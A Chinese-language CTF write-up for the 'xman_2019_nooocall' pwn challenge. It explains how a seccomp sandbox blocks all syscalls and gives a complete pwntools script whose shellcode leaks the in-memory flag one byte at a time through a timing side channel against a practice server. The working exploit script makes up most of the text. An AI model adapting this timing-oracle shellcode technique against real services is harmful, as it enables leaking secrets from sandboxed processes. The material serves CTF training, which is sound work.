xman_2019_nooocall
首先,檢查一下程序的保護機制
沙箱機制禁用了所有的系統調用
然後,我們用IDA分析一下,我們可以輸入並執行16字節shellcode。然後問題在於系統調用全部被禁用。
程序一開始的時候使用了fopen打開了flag,並且將flag讀取到了內存裏。然後,當執行shellcode的時候,我們發現,棧裏有FILE結構體的地址。
FILE是帶有緩衝區的,文件flag的內容會被緩衝在內存裏。
因此,我們可以寫一個盲注的shellcode,將字符一個一個的猜測比較。
#coding:utf8
from pwn import *
import time
context(os='linux',arch='amd64',log_level = 'critical')
#flag裏面可能出現的字符
possible_char = []
#字符的順序可以影響效率,讓頻率最高的字符放前面
for x in range(0,10):
possible_char.append(str(x))
for x in range(ord('a'),ord('z')+1):
possible_char.append(chr(x))
possible_char.append('{')
possible_char.append('-')
possible_char.append('}')
possible_char.append('\x00')
OK = False
flag = ''
index = 0
while not OK:
print 'guess (',index,') char'
length = len(flag)
for guess_char in possible_char:
#sh = process('./xman_2019_nooocall')
sh = remote('node3.buuoj.cn',28942)
#盲注,如果猜對了,程序會處於一個死循環
shellcode_blind = asm('''mov rax,[rsp+0x10]
mov rax,[rax+0x18]
mov al,byte ptr[rax+%d]
cmp al,%d
jz $-0x2
''' % (index,ord(guess_char)))
sh.sendlineafter('Your Shellcode >>',shellcode_blind)
start = time.time()
sh.can_recv_raw(timeout = 3)
end = time.time()
sh.close()
#根據網絡延遲,作相應的修改
if end - start > 3:
if guess_char == '\x00':
OK = True
flag += guess_char
print 'success guess char at(',index,')'
index+=1
break
print 'flag=',flag
if length == len(flag):
OK = True
print 'ojbk!'